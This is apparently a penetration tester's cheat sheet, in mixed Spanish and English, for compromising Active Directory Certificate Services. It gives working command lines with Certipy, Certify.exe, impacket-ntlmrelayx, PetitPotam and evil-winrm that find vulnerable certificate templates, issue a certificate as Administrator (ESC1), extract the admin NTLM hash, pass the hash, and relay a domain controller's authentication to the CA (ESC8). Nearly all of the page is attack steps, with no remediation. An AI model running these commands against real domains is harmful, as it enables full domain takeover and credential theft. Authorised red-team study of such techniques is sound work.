Skip to content

Active Directory Certificate Services (AD CS)

[!danger] The New Standard Si AD CS está instalado, es el vector #1. Herramientas: Certipy (Linux) o Certify.exe (Windows).

1. Enumeration (Finding Vulnerable Templates)

Busca plantillas mal configuradas (ESC1, ESC8, etc.).

certipy find -u <USER>@<DOMAIN> -p <PASS> -dc-ip <DC_IP> -vulnerable
Esto genera archivos .json y .txt con los hallazgos.

.\Certify.exe find /vulnerable

2. Exploitation (ESC1)

Si encuentras una plantilla que permite Client Authentication y Enrollee Supplies Subject. Impacto: Domain Admin instantáneo.

Paso 1: Request Certificate

Pide un certificado a nombre del Administrador.

certipy req -u <USER>@<DOMAIN> -p <PASS> -ca <CA_NAME> -template <TEMPLATE> -upn Administrator@<DOMAIN> -target <DC_FQDN>
Output: administrator.pfx

Paso 2: Authenticate (Get Hash)

Usa el certificado para pedir el TGT y el hash NTLM del Admin.

certipy auth -pfx administrator.pfx -username administrator -domain <DOMAIN> -dc-ip <DC_IP>
Output: Administrator NTLM hash: ...

Paso 3: Pass-the-Hash

evil-winrm -i <DC_IP> -u Administrator -H <HASH>

3. PetitPotam (NTLM Relaying to AD CS / ESC8)

Si el servidor de certificados tiene "Web Enrollment" habilitado (HTTP). 1. Listener: impacket-ntlmrelayx -t http://<CA_SERVER>/certsrv/certfnsh.asp -smb2support --adcs --template DomainController 2. Trigger: python3 PetitPotam.py <LISTENER_IP> <DC_IP> 3. Result: El DC se autentica contra ti, tu lo reenvías al CA, y el CA te da un certificado de "Domain Controller". -> PWNED.